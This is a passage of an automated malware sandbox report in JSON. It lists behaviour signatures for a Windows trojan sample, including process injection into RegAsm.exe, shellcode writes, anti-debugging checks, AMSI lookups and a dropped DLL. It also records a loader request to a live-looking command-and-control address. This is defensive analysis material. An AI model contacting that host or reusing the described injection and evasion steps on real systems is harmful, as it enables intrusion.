00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"hostName\" (Indicator: \"hostname\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"RegAsm.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\cryptsp.dll\" (UID: 00000000-00004108)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00005956.00000000.80976.00320000.00000004.mdmp, 00000000-00005956.00000001.81246.00320000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")\n Found reference to API \"NaCorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00005956.00000001.81246.020E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" opened \"\\Device\\KsecDD\"\n \"RegAsm.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LDAP\"; Key: \"LDAPCLIENTINTEGRITY\"; Value: \"\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LDAP\"; Key: \"USEOLDHOSTRESOLUTIONORDER\"; Value: \"\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LDAP\"; Key: \"USEHOSTNAMEASALIAS\"; Value: \"\")\n \"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\LDAP\"; Key: \"IPV4LOOPBACKALTERNATIVE\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00005956.00000001.81246.04BA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"Protect544cd51a.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\Protect544cd51a.dll]- [targetUID: 00000000-00005956]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" at 00000000-00005956-00000105-4736021\n \"RegAsm.exe\" at 00000000-00004108-00000105-2446161","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" launched with commandline \"\" (UID: 00000000-00004108)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe queries ProcessDebugPort (UID: 5956)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"Protect544cd51a.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%TEMP%\\Protect544cd51a.dll]- [targetUID: 00000000-00005956]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" wrote 39424 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Protect544cd51a.dll\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.87 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" connects to 185.172.128.87 on port 80 (TCP)","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"suspicious","category":"System Security","name":"Adjusts debug privileges","description":"\"RegAsm.exe\" adjusted SE_DEBUG_PRIVILEGE on file \"C:\\Windows\\System32\\cryptsp.dll\"","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-28","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe\" - (UID: 00000000-00005956)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"RegAsm.exe\" connects to 185.172.128.87:80","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"malicious","category":"Exploit/Shellcode","name":"Writes shellcode to a remote process","description":"Wrote 65 instructions to a remote process\n Wrote 552 instructions to a remote process","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1055","relevance":8,"id":"stream-38","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"a9399.Trojan.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00001040)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"a9399.Trojan.exe\" called \"LoadResource with parameter {'hModule': '126746625', 'hResInfo': '126747872'}\" (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"LoadResource with parameter {'hModule': '126746625', 'hResInfo': '126747904'}\" (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"LoadResource with parameter {'hModule': '126746625', 'hResInfo': '126747920'}\" (UID: 00000000-00001040)\n \"a9399.Trojan.exe\" called \"LoadResource with parameter {'hModule': '126746625', 'hResInfo': '126747888'}\" (UID: 00000000-00001040)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear content (Powershell command string)","description":"Found string \"Clear-Host\" (Indicator: \"Clear-Host\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Clear-Content\" (Indicator: \"Clear-Content\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Clear-ItemProperty\" (Indicator: \"Clear-ItemProperty\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Clear-Variable\" (Indicator: \"Clear-Variable\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00003364.00000000.67158.6F591000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to rename items (Powershell command string)","description":"Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.005","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00003364.00000000.67158.03190000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES decryption (Dotnet String)","description":"Observed string: \"System.Security.Cryptography.AesCryptoServiceProvider.DecryptToken\" in Source: a9399.Trojan.exe\n Observed string: \"System.Security.Cryptography.AesCryptoServiceProvider.System.Security.Cryptography.AesCryptoServiceProvider.IDX10610: Decryption failed. Could not create decryption provider. Key: '{0}', Algorithm: '{1}'.\" in Source: 600317e-mEqmoE9UxRmX9ogcto~h0oWKi8BXG","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-445","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"k__BackingField\" (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n Found string \"get_EncryptedKey\" (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n Found string \"set_EncryptedKey\" (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n Found string \"EncryptedKey\" (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n file/memory contains long string with (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n Found string \"IDX14107: Token string does not match the token formats: JWE (header.encryptedKey.iv.ciphertext.tag) or JWS (header.payload.signature)\" (Indicator: \"encryptedkey\"; File: \"a9399.Trojan.exe\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00003364.00000000.67158.07840000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"87Connection\" in header \"GET /zima.php?mine=loader HTTP/1.1Host: 185.172.128.87Connection: Keep-Alive\"\n Contains base64 string in header \"Keep\" in header \"GET /zima.php?mine=loader HTTP/1.1Host: 185.172.128.87Connection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003364)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003364)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp, 00000000-00003364.00000000.67158.6F5A5000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003364.00000000.67158.6F591000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"ExpandEnvironmentStringsW\" (Indicator: \"ExpandEnvironmentStrings\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"11188294152,1276,3121,,GetNativeSystemInfo,kernel32.dll,\"00:17:29.312\",RX=0,PX=0\" (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00003364.00000000.67158.07840000.00000004.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00003364.00000000.67158.6F5A5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp, 00000000-00003364.00000000.67158.6F5A5000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003364.00000000.67158.6F591000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00003364-00000C15-45736197","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA STREAM excessive retransmissions\" (SID: 2210054, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$44","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"a9399.Trojan.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001040)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003364)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133516639355158959.3364.DefaultAppDomain.powershell\" - (UID: 00000000-00003364)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003364.00000000.67158.6F5A5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"Invoke-Expression\" (Indicator: \"Invoke-Expression\"; Source: 